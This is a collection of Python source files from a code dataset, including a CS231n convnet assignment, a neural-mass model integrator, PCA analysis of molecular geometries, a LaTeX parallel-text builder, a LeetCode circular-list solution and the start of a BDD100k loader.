+ str(wi)], conv_param)\n \n if self.use_dropout:\n p = self.dropout_param['p']\n layer, cache_local['drop'] = dropout_forward(layer, self.dropout_param)\n\n cache[wi] = cache_local\n wi += 1\n layers[wi] = layer\n \n cache_local = {}\n if self.use_batchnorm:\n layer, cache_local['conv'] = conv_bn_relu_pool_fwd(layers[wi], self.params['W' + str(wi)], self.params['b' + str(wi)], self.params['bn' + str(wi)], conv_param, self.bn_params[wi], pool_param)\n else:\n layer, cache_local['conv'] = conv_relu_pool_forward(layers[wi], self.params['W' + str(wi)], self.params['b' + str(wi)], conv_param, pool_param)\n \n if self.use_dropout:\n p = self.dropout_param['p']\n layer, cache_local['drop'] = dropout_forward(layer, self.dropout_param)\n\n cache[wi] = cache_local\n wi += 1\n layers[wi] = layer\n \n for i in range(affine_layers):\n cache_local = {}\n if self.use_batchnorm:\n layer, cache_local['aff'] = affine_bn_relu_forward(layers[wi], self.params['W' + str(wi)], self.params['b' + str(wi)], self.params['bn' + str(wi)], self.bn_params[wi])\n else:\n layer, cache_local['aff'] = affine_relu_forward(layers[wi], self.params['W' + str(wi)], self.params['b' + str(wi)])\n \n if self.use_dropout:\n p = self.dropout_param['p']\n layer, cache_local['drop'] = dropout_forward(layer, self.dropout_param)\n\n cache[wi] = cache_local\n wi += 1\n layers[wi] = layer\n \n scores, cache[-1] = affine_forward(layers[wi], self.params['W' + str(wi)], self.params['b' + str(wi)])\n ############################################################################\n # END OF YOUR CODE #\n ############################################################################\n\n if y is None:\n return scores\n\n loss, grads = 0, {}\n ############################################################################\n # TODO: Implement the backward pass for the three-layer convolutional net, #\n # storing the loss and gradients in the loss and grads variables. Compute #\n # data loss using softmax, and make sure that grads[k] holds the gradients #\n # for self.params[k]. Don't forget to add L2 regularization! #\n ############################################################################\n loss, dl = softmax_loss(scores, y)\n upper_gradient = dl\n upper_gradient, grads['W' + str(wi)], grads['b' + str(wi)] = affine_backward(upper_gradient, cache[-1])\n loss += 0.5 * self.reg* np.sum(np.square(self.params['W' + str(wi)]))\n grads['W' + str(wi)] += self.reg*self.params['W' + str(wi)]\n wi -= 1\n \n for i in range(affine_layers):\n cache_local = cache[wi]\n loss += 0.5 * self.reg* np.sum(np.square(self.params['W' + str(wi)]))\n if self.use_dropout:\n upper_gradient = dropout_backward(upper_gradient, cache_local['drop'])\n if self.use_batchnorm:\n upper_gradient, grads['W' + str(wi)], grads['b' + str(wi)], grads['bn' + str(wi)] = affine_bn_relu_backward( upper_gradient, cache_local['aff'])\n else:\n upper_gradient, grads['W' + str(wi)], grads['b' + str(wi)] = affine_relu_backward(upper_gradient, cache_local['aff'])\n \n grads['W' + str(wi)] += self.reg*self.params['W' + str(wi)]\n wi -= 1\n \n for i in range(conv_layers):\n cache_local = cache[wi]\n loss += 0.5 * self.reg* np.sum(np.square(self.params['W' + str(wi)]))\n if self.use_dropout:\n upper_gradient = dropout_backward(upper_gradient, cache_local['drop'])\n if self.use_batchnorm:\n upper_gradient, grads['W' + str(wi)], grads['b' + str(wi)], grads['bn' + str(wi)] = conv_bn_relu_pool_bkwd( upper_gradient, cache_local[\"conv\"])\n else:\n upper_gradient, grads['W' + str(wi)], grads['b' + str(wi)] = conv_relu_pool_backward(upper_gradient, cache_local['conv'])\n \n grads['W' + str(wi)] += self.reg*self.params['W' + str(wi)]\n wi -= 1\n \n cache_local = cache[wi]\n loss += 0.5 * self.reg* np.sum(np.square(self.params['W' + str(wi)]))\n if self.use_dropout:\n upper_gradient = dropout_backward(upper_gradient, cache_local['drop'])\n if self.use_batchnorm:\n upper_gradient, grads['W' + str(wi)], grads['b' + str(wi)], grads['bn' + str(wi)] = conv_bn_relu_bkwd( upper_gradient, cache_local[\"conv\"])\n else:\n upper_gradient, grads['W' + str(wi)], grads['b' + str(wi)] = conv_relu_backward(upper_gradient, cache_local['conv'])\n \n grads['W' + str(wi)] += self.reg*self.params['W' + str(wi)]\n wi -= 1\n \n return loss, grads","sub_path":"CS231n Stanford/assignment2/cs231n/classifiers/convnet.py","file_name":"convnet.py","file_ext":"py","file_size_in_byte":14140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"384105007","text":"import numpy as np\nimport numba\n\nfrom ...utils import model_utils as mu\n\n\ndef timeIntegration(params):\n \"\"\"Sets up the parameters for time integration\n\n :param params: Parameter dictionary of the model\n :type params: dict\n :return: Integrated activity variables of the model\n :rtype: (numpy.ndarray,)\n \"\"\"\n\n dt = params[\"dt\"] # Time step for the Euler intergration (ms)\n duration = params[\"duration\"] # imulation duration (ms)\n RNGseed = params[\"seed\"] # seed for RNG\n\n # ------------------------------------------------------------------------\n # local parameters\n alpha = params[\"alpha\"]\n beta = params[\"beta\"]\n gamma = params[\"gamma\"]\n delta = params[\"delta\"]\n epsilon = params[\"epsilon\"]\n tau = params[\"tau\"]\n\n # external input parameters:\n # Parameter of the Ornstein-Uhlenbeck process for the external input(ms)\n tau_ou = params[\"tau_ou\"]\n # Parameter of the Ornstein-Uhlenbeck (OU) process for the external input ( mV/ms/sqrt(ms) )\n sigma_ou = params[\"sigma_ou\"]\n # Mean external excitatory input (OU process) (mV/ms)\n x_ou_mean = params[\"x_ou_mean\"]\n # Mean external inhibitory input (OU process) (mV/ms)\n y_ou_mean = params[\"y_ou_mean\"]\n\n # ------------------------------------------------------------------------\n # global coupling parameters\n\n # Connectivity matrix\n # Interareal relative coupling strengths (values between 0 and 1), Cmat(i,j) connnection from jth to ith\n Cmat = params[\"Cmat\"]\n N = len(Cmat) # Number of nodes\n K_gl = params[\"K_gl\"] # global coupling strength\n # Interareal connection delay\n lengthMat = params[\"lengthMat\"]\n signalV = params[\"signalV\"]\n\n if N == 1:\n Dmat = np.zeros((N, N))\n else:\n # Interareal connection delays, Dmat(i,j) Connnection from jth node to ith (ms)\n Dmat = mu.computeDelayMatrix(lengthMat, signalV)\n # no self-feedback delay\n Dmat[np.eye(len(Dmat)) == 1] = np.zeros(len(Dmat))\n Dmat_ndt = np.around(Dmat / dt).astype(int) # delay matrix in multiples of dt\n\n # Additive or diffusive coupling scheme\n coupling = params[\"coupling\"]\n # convert to integer for faster integration later\n if coupling == \"diffusive\":\n coupling = 0\n elif coupling == \"additive\":\n coupling = 1\n else:\n raise ValueError('Paramter \"coupling\" must be either \"diffusive\" or \"additive\"')\n\n # ------------------------------------------------------------------------\n\n # Initialization\n # Floating point issue in np.arange() workaraound: use integers in np.arange()\n t = np.arange(1, round(duration, 6) / dt + 1) * dt # Time variable (ms)\n\n sqrt_dt = np.sqrt(dt)\n\n max_global_delay = np.max(Dmat_ndt)\n startind = int(max_global_delay + 1) # timestep to start integration at\n\n x_ou = params[\"x_ou\"].copy()\n y_ou = params[\"y_ou\"].copy()\n\n # state variable arrays, have length of t + startind\n # they store initial conditions AND simulated data\n xs = np.zeros((N, startind + len(t)))\n ys = np.zeros((N, startind + len(t)))\n\n x_ext = mu.adjustArrayShape(params[\"x_ext\"], xs)\n y_ext = mu.adjustArrayShape(params[\"y_ext\"], ys)\n\n # ------------------------------------------------------------------------\n # Set initial values\n # if initial values are just a Nx1 array\n if np.shape(params[\"xs_init\"])[1] == 1:\n xs_init = np.dot(params[\"xs_init\"], np.ones((1, startind)))\n ys_init = np.dot(params[\"ys_init\"], np.ones((1, startind)))\n # if initial values are a Nxt array\n else:\n xs_init = params[\"xs_init\"][:, -startind:]\n ys_init = params[\"ys_init\"][:, -startind:]\n\n # xsd = np.zeros((N,N)) # delayed activity\n xs_input_d = np.zeros(N) # delayed input to x\n ys_input_d = np.zeros(N) # delayed input to y\n\n np.random.seed(RNGseed)\n\n # Save the noise in the activity array to save memory\n xs[:, startind:] = np.random.standard_normal((N, len(t)))\n ys[:, startind:] = np.random.standard_normal((N, len(t)))\n\n xs[:, :startind] = xs_init\n ys[:, :startind] = ys_init\n\n noise_xs = np.zeros((N,))\n noise_ys = np.zeros((N,))\n\n # ------------------------------------------------------------------------\n\n return timeIntegration_njit_elementwise(\n startind,\n t,\n dt,\n sqrt_dt,\n duration,\n N,\n Cmat,\n Dmat,\n K_gl,\n signalV,\n coupling,\n Dmat_ndt,\n xs,\n ys,\n xs_input_d,\n ys_input_d,\n x_ext,\n y_ext,\n alpha,\n beta,\n gamma,\n delta,\n epsilon,\n tau,\n noise_xs,\n noise_ys,\n x_ou,\n y_ou,\n x_ou_mean,\n y_ou_mean,\n tau_ou,\n sigma_ou,\n )\n\n\n@numba.njit\ndef timeIntegration_njit_elementwise(\n startind,\n t,\n dt,\n sqrt_dt,\n duration,\n N,\n Cmat,\n Dmat,\n K_gl,\n signalV,\n coupling,\n Dmat_ndt,\n xs,\n ys,\n xs_input_d,\n ys_input_d,\n x_ext,\n y_ext,\n alpha,\n beta,\n gamma,\n delta,\n epsilon,\n tau,\n noise_xs,\n noise_ys,\n x_ou,\n y_ou,\n x_ou_mean,\n y_ou_mean,\n tau_ou,\n sigma_ou,\n):\n \"\"\"\n Fitz-Hugh Nagumo equations\n du/dt = -alpha u^3 + beta u^2 + gamma u - w + I_{x, ext}\n dw/dt = 1/tau (u + delta - epsilon w) + I_{y, ext}\n \"\"\"\n ### integrate ODE system:\n for i in range(startind, startind + len(t)):\n\n # loop through all the nodes\n for no in range(N):\n\n # To save memory, noise is saved in the rates array\n noise_xs[no] = xs[no, i]\n noise_ys[no] = ys[no, i]\n\n # delayed input to each node\n xs_input_d[no] = 0\n ys_input_d[no] = 0\n\n # diffusive coupling\n if coupling == 0:\n for l in range(N):\n xs_input_d[no] += K_gl * Cmat[no, l] * (xs[l, i - Dmat_ndt[no, l] - 1] - xs[no, i - 1])\n # ys_input_d[no] += K_gl * Cmat[no, l] * (ys[l, i - Dmat_ndt[no, l] - 1] - ys[no, i - 1])\n # additive coupling\n elif coupling == 1:\n for l in range(N):\n xs_input_d[no] += K_gl * Cmat[no, l] * (xs[l, i - Dmat_ndt[no, l] - 1])\n # ys_input_d[no] += K_gl * Cmat[no, l] * (ys[l, i - Dmat_ndt[no, l] - 1])\n\n # Fitz-Hugh Nagumo equations\n x_rhs = (\n -alpha * xs[no, i - 1] ** 3\n + beta * xs[no, i - 1] ** 2\n + gamma * xs[no, i - 1]\n - ys[no, i - 1]\n + xs_input_d[no] # input from other nodes\n + x_ou[no] # ou noise\n + x_ext[no, i - 1] # external input\n )\n y_rhs = (\n (xs[no, i - 1] - delta - epsilon * ys[no, i - 1]) / tau\n + ys_input_d[no] # input from other nodes\n + y_ou[no] # ou noise\n + y_ext[no, i - 1] # external input\n )\n\n # Euler integration\n xs[no, i] = xs[no, i - 1] + dt * x_rhs\n ys[no, i] = ys[no, i - 1] + dt * y_rhs\n\n # Ornstein-Uhlenberg process\n x_ou[no] = x_ou[no] + (x_ou_mean - x_ou[no]) * dt / tau_ou + sigma_ou * sqrt_dt * noise_xs[no] # mV/ms\n y_ou[no] = y_ou[no] + (y_ou_mean - y_ou[no]) * dt / tau_ou + sigma_ou * sqrt_dt * noise_ys[no] # mV/ms\n\n return t, xs, ys, x_ou, y_ou\n","sub_path":"neurolib/models/fhn/timeIntegration.py","file_name":"timeIntegration.py","file_ext":"py","file_size_in_byte":7465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"308401517","text":"import dataprep_utils as dpu\nfrom sklearn.decomposition import PCA\nimport numpy as np\nfrom sklearn.metrics import mean_squared_error as mse\nfrom sklearn.metrics import mean_absolute_error as mae\nfrom sklearn.metrics import r2_score\nimport analyse_utils as au\nimport keras as ks\nfrom tqdm import tqdm\nimport os\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport rmsd\nimport seaborn as sns\n\ndef get_shuffled_indices(num_examples: int):\n indices: any = np.arange(num_examples)\n np.random.shuffle(indices)\n return indices\n\ndef r2_metric(y_true, y_pred):\n \"\"\"\n Compute r2 metric. Args:\n y_true (tf.tensor): True y-values.\n y_pred (tf.tensor): Predicted y-values. Returns:\n tf.tensor: r2 metric. \"\"\"\n SS_res = ks.backend.sum(ks.backend.square(y_true - y_pred))\n SS_tot = ks.backend.sum(ks.backend.square(y_true-ks.backend.mean(y_true)))\n return ( 1 - SS_res/(SS_tot + ks.backend.epsilon()) )\n\nx_train = dpu.get_inverse_distances(\"../generate_data/output/train.xyz\")\nx_test = dpu.get_inverse_distances(\"../generate_data/output/test.xyz\")\nelements = dpu.get_elements('../generate_data/input/methanole.xyz')\nprint(elements)\n\n#remove broken coordinates\nbroken_train = dpu.read_broken_coords(\"../generate_data/output/broken_train.txt\")\nbroken_test = dpu.read_broken_coords(\"../generate_data/output_test/broken_test.txt\")\n\nbroken_train = np.array(broken_train)\nbroken_train = [int(float(i)) for i in broken_train]\n\nbroken_test = np.array(broken_test)\nbroken_test = [int(float(i)) for i in broken_test]\n\nx_train = np.delete(x_train, broken_train, 0)\nx_test = np.delete(x_test, broken_test, 0)\n\n#shuffle data\nshuffle_train = get_shuffled_indices(x_train.shape[0])\nx_train = x_train[shuffle_train]\n\nprint('x_train: ',x_train.shape)\nprint('x_test: ' ,x_test.shape)\n\ndirectory = \"new_directory\"\ntitle='pca'\n\nif not os.path.isdir(directory):\n os.mkdir(directory)\n\n#PCA for one dimension\npca = PCA(n_components=8)\nX_encoded = pca.fit_transform(x_train)\nX_decoded = pca.inverse_transform(X_encoded)\n\nx_encoded_test = pca.transform(x_test)\nx_decoded_test = pca.inverse_transform(x_encoded_test)\n\n#Calculate Error for every reduced Dimension\ndef latent_space_analysis(x_train, x_test):\n max_dim=len(x_train[1])\n\n data = {'latent space dimension': [],\n 'train_mae': [],\n 'train_mse': [],\n 'train_r2': [],\n 'test_mae': [],\n 'test_mse': [],\n 'test_r2': [], }\n df = pd.DataFrame(data)\n\n for dim in tqdm(range(1, max_dim+1)):\n pca = PCA(n_components=dim)\n X_encoded = pca.fit_transform(x_train)\n X_decoded = pca.inverse_transform(X_encoded)\n\n r2_train = (r2_score(x_train, X_decoded))\n mse_train = mse(x_train, X_decoded)\n mae_train = (mae(x_train, X_decoded))\n\n x_encoded_test = pca.transform(x_test)\n x_decoded_test = pca.inverse_transform(x_encoded_test)\n\n r2_test = (r2_score(x_test, x_decoded_test))\n mse_test = (mse(x_test, x_decoded_test))\n mae_test = (mae(x_test, x_decoded_test))\n\n new_row = {'latent space dimension': dim,\n 'train_mae': mae_train,\n 'train_mse': mse_train,\n 'train_r2' : r2_train,\n 'test_mae': mae_test,\n 'test_mse': mse_test,\n 'test_r2': r2_test,\n }\n\n df_new = df.append(new_row, ignore_index=True)\n df = df_new\n df_new.to_csv('{}/pca_results.csv'.format(directory))\n\nlatent_space_analysis(x_train, x_test)\n\n#plot Metrics in Diagram\ndef latent_space_error_plot(directory, n=1):\n results = pd.read_csv('{}/pca_results.csv'.format(directory))\n\n latent = results['latent space dimension']\n latent = latent[::n]\n r2_test = results['test_r2']\n r2_test = r2_test[::n]\n test_mse = results['test_mse']\n test_mse = test_mse[::n]\n test_mae = results['test_mae']\n test_mae = test_mae[::n]\n\n paper_rc = {'lines.linewidth': 2.5}\n sns.set_theme(font_scale=1.25, palette=sns.color_palette(\"colorblind\").as_hex(), rc=paper_rc)\n sns.set_style('white')\n\n ax = plt.gca()\n\n plt.plot(latent, r2_test, 'gv', markersize=6)\n plt.legend(['r2_test'], loc='lower right')\n plt.grid(True)\n plt.title('PCA mit verschiedenen Dimensionen')\n plt.ylabel('r2 Wert')\n plt.xlabel('Dimension')\n plt.tight_layout()\n plt.savefig('{}/pca.pdf'.format(directory))\n plt.savefig('{}/pca.png'.format(directory))\n plt.close()\n\n\n plt.plot(latent, test_mae, 'g^', markersize=6)\n plt.plot(latent, test_mse, 'm*', markersize=7)\n plt.legend(['mae_test in nm', 'mse_test in nm^2'], loc='upper right')\n plt.title('PCA mit verschiedenen Dimensionen')\n plt.ylabel('Fehler')\n plt.xlabel('Dimension')\n plt.grid(True)\n plt.tight_layout()\n plt.savefig('{}/pca_mse.pdf'.format(directory))\n plt.savefig('{}/pca_mse.png'.format(directory))\n plt.close()\n\nlatent_space_error_plot(directory)\n\n#Analyse one dimension of reduced inverse distance vector\ndef latentspace_analyse_with_original_geometry(dim):\n dimension = 0\n test = np.linspace(-1, 1, 1000)\n\n pca = PCA(n_components=dim)\n\n methanole, element = dpu.read_coords_elements(\"../input/methanole.xyz\")\n inv_dist_methanole = dpu.calculate_inv_dist_vector(methanole[0])\n inv_dist_methanole = [inv_dist_methanole]\n input = np.array(inv_dist_methanole)\n print(input)\n stuff = pca.fit_transform(x_train)\n print(stuff)\n input = input.reshape(1, -1)\n encoded_methanole = pca.transform(input)\n decoded_methanole = pca.inverse_transform(encoded_methanole)\n m = dpu.distance_vector_to_distance_matrix(decoded_methanole[0])\n m = dpu.coordinates_from_distancematrix(m)\n\n encoded_methanole = encoded_methanole[0]\n\n for j in range(len(encoded_methanole)):\n new_molecules = []\n new_molecules.append(encoded_methanole)\n for i in test:\n temp_mol = np.copy(encoded_methanole)\n temp_mol[dimension] = i\n new_molecules.append(temp_mol)\n\n new_molecules = np.array(new_molecules)\n decoded_new_molecules = pca.inverse_transform(new_molecules)\n filename = 'dim{}.xyz'.format(j)\n dpu.save_inverse_distances_as_coordinates(decoded_new_molecules, elements, filename, directory)\n\n return decoded_new_molecules\n\n#latentspace_analyse_with_original_geometry()\n\n#histograms comparing original and reconstructed geometries\ndef rmsd_test(dim, x_test):\n pca = PCA(n_components=dim)\n pca.fit_transform(x_train)\n\n x_encoded_test = pca.transform(x_test)\n x_decoded_test = pca.inverse_transform(x_encoded_test)\n\n x_decoded = np.asarray(x_decoded_test)\n dpu.save_inverse_distances_as_coordinates(x_decoded, ['C', 'O', 'H', 'H', 'H', 'H'], 'pca_x_test_{}.xyz'.format(dim), 'test')\n m = dpu.distance_vectors_to_distance_matrixs(x_decoded)\n m = np.array(m)\n m_list = []\n for i in m:\n m_list.append(dpu.coordinates_from_distancematrix(i))\n\n x_test_coord = dpu.distance_vectors_to_distance_matrixs(x_test)\n x_test_coord = np.array(x_test_coord)\n x_test_coord_list = []\n for i in x_test_coord:\n x_test_coord_list.append(dpu.coordinates_from_distancematrix(i))\n\n print(type(m_list))\n print(m_list[1])\n print(x_test_coord_list[1])\n rmsd_list = []\n for i in range(len(m_list)):\n Bout, R, t = dpu.rigid_transform(m_list[i], x_test_coord_list[i])\n res = rmsd.rmsd(x_test_coord_list[i], Bout)\n rmsd_list.append(res)\n\n\n print(rmsd_list)\n au.plot_histogram(directory, 'rmsd_{}'.format(dim), rmsd_list, 50)\n print(rmsd)\n\nrmsd_test(8, x_test)\n","sub_path":"DimRed/pca_methanole.py","file_name":"pca_methanole.py","file_ext":"py","file_size_in_byte":7688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"587269097","text":"#!/usr/bin/python3\nimport os\nimport re\n\nimport config\n\ndef read_story_and_vocab(lang, fname):\n lang_string = \"<{}>\".format(lang)\n with open(r\"source_files/{}\".format(fname)) as fp:\n story = []\n for line in fp:\n if line[:-1] == config.vocabulary[lang]:\n break\n if line[:4] == lang_string:\n story.append(line[4:].strip())\n words = []\n for line in fp:\n if line[:4] == lang_string:\n words.append(line[4:].strip())\n return story, words\n \n\ndef select_story_and_vocab(lang_left, lang_right, fname):\n story_left, words_left = read_story_and_vocab(lang_left, fname)\n story_right, words_right = read_story_and_vocab(lang_right, fname)\n\n if len(story_left)==0 or len(story_right)==0:\n # the left or right language story is not in the file\n return None, None\n\n if len(story_left) != len(story_right):\n print(\"left and right stories are not of the same length\")\n print(len(story_left))\n print(len(story_right))\n for x, y in zip(story_left, story_right):\n print(x)\n print(y)\n quit()\n\n if len(words_left) != len(words_right):\n print(\"left and right word lists are not of the same length\")\n quit()\n\n return story_left, story_right\n\ndef latex_one_page(story, lang, left):\n res = []\n res.append(r\"\\begin{pages}\")\n if left == True:\n res.append(r\"\\begin{Leftside}\")\n res.append(r\"\\selectlanguage{{{}}}\".format(config.language[lang]))\n else:\n res.append(r\"\\begin{Rightside}\")\n res.append(r\"\\selectlanguage{{{}}}\".format(config.language[lang]))\n #res.append(r\"\\selectlanguage{greek}\")\n res.append(r\"\\beginnumbering\")\n res.append(r\"\\pstart[\\section{{{}}}]\".format(story[0]))\n for line in story[1:]:\n if len(line) == 0:\n res.append(r\"\\pend\")\n res.append(r\"\\pstart\")\n else:\n res.append(line)\n res.append(r\"\\pend\")\n res.append(r\"\\endnumbering\")\n if left == True:\n res.append(r\"\\end{Leftside}\")\n else:\n res.append(r\"\\end{Rightside}\")\n res.append(r\"\\end{pages}\")\n return \"\\n\".join(res)\n\n\ndef make_header_and_trailer(lang_left, lang_right):\n left = config.language[lang_left]\n right = config.language[lang_right]\n res = []\n res.append(r\"\"\"\n \\documentclass[a5paper]{article}\n \\usepackage[margin=5mm]{geometry}\n \"\"\")\n res.append(r\"\\usepackage[{},{}]{{babel}}\".format(left, right))\n res.append(r\"\"\"\n \\usepackage[T1]{fontenc}\n \\usepackage[utf8]{inputenc}\n \\usepackage{tgheros}\n \\usepackage{url}\n \\usepackage[series={A},noend,nocritical,noeledsec]{reledmac}\n \\usepackage[]{reledpar}\n \\maxhnotesX{0.2\\textheight}\n \\beforenotesX{5pt}\n \\setgoalfraction{0.95}\n \\numberlinefalse\n \\author{en-nl: Nicky van Foreest\\\\\n en-tr: Onur Kilic\\\\\n en-es: Cesar Sala\n }\"\"\")\n res.append(r\"\\title{{Parallel translations ({}-{})}}\".format(left, right))\n res.append(r\"\"\"\n \\begin{document}\n \\maketitle\n \\tableofcontents\n \"\"\")\n header = \"\\n\".join(res)\n trailer = r\"\\end{document}\"\n return header, trailer\n\ndef make_all_doc(lang_left, lang_right, out_file):\n header, trailer = make_header_and_trailer(lang_left, lang_right)\n res = [header]\n for fname in config.files:\n if not os.path.isfile(\"./source_files/\"+fname):\n continue\n #if \"baked\" not in fname:\n # continue\n story_left, story_right = select_story_and_vocab(lang_left, lang_right, fname)\n if story_left is None:\n continue\n res.append(latex_one_page(story_left, lang_left, left=True))\n res.append(latex_one_page(story_right, lang_right, left=False))\n res.append(r\"\\Pages\")\n #res.append(r\"\\clearpage\")\n res.append(trailer)\n res = \"\\n\".join(res)\n with open(\"dummy.tex\", \"w\") as fp:\n fp.write(res)\n os.system(\"pdflatex dummy.tex\")\n os.system(\"pdflatex dummy.tex\")\n os.system(\"pdflatex dummy.tex\")\n #os.system(\"pdflatex dummy.tex\")\n os.system(\"mv dummy.pdf pdf_files/{}.pdf\".format(out_file))\n os.system(\"rm dummy.*\")\n\nif __name__ == \"__main__\":\n #make_all_doc(\"en\", \"nl\", \"english_dutch_facing\")\n #make_all_doc(\"nl\", \"en\", \"dutch_english_facing\")\n #make_all_doc(\"tr\", \"en\", \"turkish_english_facing\")\n make_all_doc(\"es\", \"en\", \"spanish_english_facing\")\n","sub_path":"make_facing.py","file_name":"make_facing.py","file_ext":"py","file_size_in_byte":4439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"384621125","text":"from functools import reduce\nclass Student:\n def __init__(self,name,marks):\n self.name=name\n self.marks=marks\n def __str__(self):\n return self.name\n __repr__=__str__\ndef calculation(students):\n red_diploma=[]\n yellow_diploma=[]\n for student in students:\n sum=reduce((lambda x,y:x+y),student.marks)\n average=sum/len(student.marks)\n if average>80:\n red_diploma.append(student)\n else:\n yellow_diploma.append(student)\n print(red_diploma)\n print(yellow_diploma)\n\nstudents=[Student(\"Ali\",[40,50,60,70]),Student(\"Daniel\",[90,80,90,100]),Student(\"Marry\",[80,70,90,70])]\ncalculation(students)\n\n#testing pull command\n","sub_path":"simpletask.py","file_name":"simpletask.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"287206766","text":"\"\"\"\n708. Insert into a Sorted Circular Linked List\n\n\nGiven a node from a Circular Linked List which is sorted in ascending order, write a function to insert a value insertVal into the list such that it remains a sorted circular list. \nThe given node can be a reference to any single node in the list, and may not be necessarily the smallest value in the circular list.\n\nIf there are multiple suitable places for insertion, you may choose any place to insert the new value. After the insertion, the circular list should remain sorted.\n\nIf the list is empty (i.e., given node is null), you should create a new single circular list and return the reference to that single node. Otherwise, you should return the original given node.\n\n \n\nExample 1:\n\n\n \nInput: head = [3,4,1], insertVal = 2\nOutput: [3,4,1,2]\nExplanation: In the figure above, there is a sorted circular list of three elements. You are given a reference to the node with value 3, and we need to insert 2 into the list. \nThe new node should be inserted between node 1 and node 3. After the insertion, the list should look like this, and we should still return node 3.\n\n\n\nExample 2:\n\nInput: head = [], insertVal = 1\nOutput: [1]\nExplanation: The list is empty (given head is null). We create a new single circular list and return the reference to that single node.\nExample 3:\n\nInput: head = [1], insertVal = 0\nOutput: [1,0]\n \n\nConstraints:\n\n0 <= Number of Nodes <= 5 * 10^4\n-10^6 <= Node.val <= 10^6\n-10^6 <= insertVal <= 10^6\n\n\"\"\"\n\n\n\"\"\"\n# Definition for a Node.\nclass Node:\n def __init__(self, val=None, next=None):\n self.val = val\n self.next = next\n\"\"\"\n\nclass InsertIntoSortedCircular:\n\n\n def doit_search(self, head: 'Node', insertVal: int) -> 'Node':\n \n td = Node(val=insertVal)\n \n if not head:\n td.next = td\n return td\n \n if head == head.next:\n head.next, td.next = td, head\n return head\n \n node = head\n while True:\n if node.val <= insertVal <= node.next.val or (node.next.val < node.val and (node.val <= insertVal or node.next.val >= insertVal)):\n node.next, td.next = td, node.next\n return head\n node = node.next\n if node == head:\n break\n \n head.next, td.next = td, head.next\n return head\n\n \"\"\"\n Approach 1: Two-Pointers Iteration\n Intuition\n\n As simple as the problem might seem to be, it is actually not trivial to write a solution that covers all cases.\n\n Often the case for the problems with linked list, one could apply the approach of Two-Pointers Iteration, where one uses two pointers as surrogate to traverse the linked list.\n\n One of reasons of having two pointers rather than one is that in singly-linked list one does not have a reference to the precedent node, therefore we keep an additional pointer which points to the precedent node.\n\n For this problem, we iterate through the cyclic list using two pointers, namely prev and curr. When we find a suitable place to insert the new value, we insert it between the prev and curr nodes.\n\n\n Algorithm\n\n First of all, let us define the skeleton of two-pointers iteration algorithm as follows:\n\n As we mentioned in the intuition, we loop over the linked list with two pointers (i.e. prev and curr) step by step. The termination condition of the loop is that we get back to the starting point of the two pointers (i.e. prev == head)\n\n During the loop, at each step, we check if the current place bounded by the two pointers is the right place to insert the new value.\n\n If not, we move both pointers one step forwards.\n\n Now, the tricky part of this problem is to sort out different cases that our algorithm should deal with within the loop, and then design a concise logic to handle them sound and properly. Here we break it down into three general cases.\n\n Case 1). The value of new node sits between the minimal and maximal values of the current list. As a result, it should be inserted within the list.\n\n Case 2). The value of new node goes beyond the minimal and maximal values of the current list, either less than the minimal value or greater than the maximal value. \n In either case, the new node should be added right after the tail node (i.e. the node with the maximal value of the list).\n\n Case 3). Finally, there is one case that does not fall into any of the above two cases. This is the case where the list contains uniform values.\n \n \"\"\"\n\n def doit_(self, head: 'Node', insertVal: int) -> 'Node':\n\n if head == None:\n newNode = Node(insertVal, None) \n newNode.next = newNode\n return newNode\n \n prev, curr = head, head.next\n toInsert = False\n\n while True:\n \n if prev.val <= insertVal <= curr.val:\n # Case #1.\n toInsert = True\n elif prev.val > curr.val:\n # Case #2. where we locate the tail element\n # 'prev' points to the tail, i.e. the largest element!\n if insertVal >= prev.val or insertVal <= curr.val:\n toInsert = True\n\n if toInsert:\n prev.next = Node(insertVal, curr)\n # mission accomplished\n return head\n\n prev, curr = curr, curr.next\n # loop condition\n if prev == head:\n break\n # Case #3.\n # did not insert the node in the loop\n prev.next = Node(insertVal, curr)\n return head\n ","sub_path":"PythonLeetcode/leetcodeM/708_InsertIntoSortedCircularLinkedList.py","file_name":"708_InsertIntoSortedCircularLinkedList.py","file_ext":"py","file_size_in_byte":5722,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"475238793","text":"\"\"\"\n BDD100k Dataset loader for PyTorch\n \twritten by Soonmin Hwang \n\"\"\"\n\nimport os\nimport os.path\nimport sys\nimport torch\nimport torch.utils.data as data\nimport torchvision.transforms as transforms\nfrom PIL import Image, ImageDraw, ImageFont\n\nimport numpy as np\n# if sys.version_info[0] == 2:\n# import xml.etree.cElementTree as ET\n# else:\n# import xml.etree.ElementTree as ET\n\nimport json\nfrom collections import namedtuple\nimport pdb\n\n# DB_ROOT = os.path.abspath( os.path.join(os.path.dirname(__file__), 'BDD100k') )\nDB_ROOT = '/media/rcvlab/New4TB/datasets/BDD100k/bdd100k'\n\n\n#### Weather classification\nWEATHER_CLASSES = [ 'undefined', \\\n\t\t\t\t\t'rainy', 'snowy', 'clear', 'overcast', 'partly cloudy', \\\n\t\t\t\t\t'foggy' ]\nWEATHER_CLS_TO_IDX = { cls:num for num, cls in enumerate(WEATHER_CLASSES)}\n\n#### Time (Day/Night) classification\nTIME_CLASSES = [\t'undefined', \\\n\t\t\t\t\t'daytime', 'night', 'dawn/dusk']\nTIME_CLS_TO_IDX = { cls:num for num, cls in enumerate(TIME_CLASSES)}\n\n#### Scene classification\nSCENE_CLASSES = [\t'undefined', \\\n\t\t\t\t\t'tunnel', 'residential', 'parking lot', 'city street', 'gas stations', \\\n\t\t\t\t\t'highway']\nSCENE_CLS_TO_IDX = { cls:num for num, cls in enumerate(SCENE_CLASSES)}\n\n\n#### Object detection\n\"\"\"\n\tExample of annotation,\n\t\t\n\t\t{\n \"category\": \"car\",\n \"attributes\": {\n \"occluded\": false,\n \"truncated\": false,\n \"trafficLightColor\": \"none\"\n },\n \"manualShape\": true,\n \"manualAttributes\": true,\n \"box2d\": {\n \"x1\": 566.725826,\n 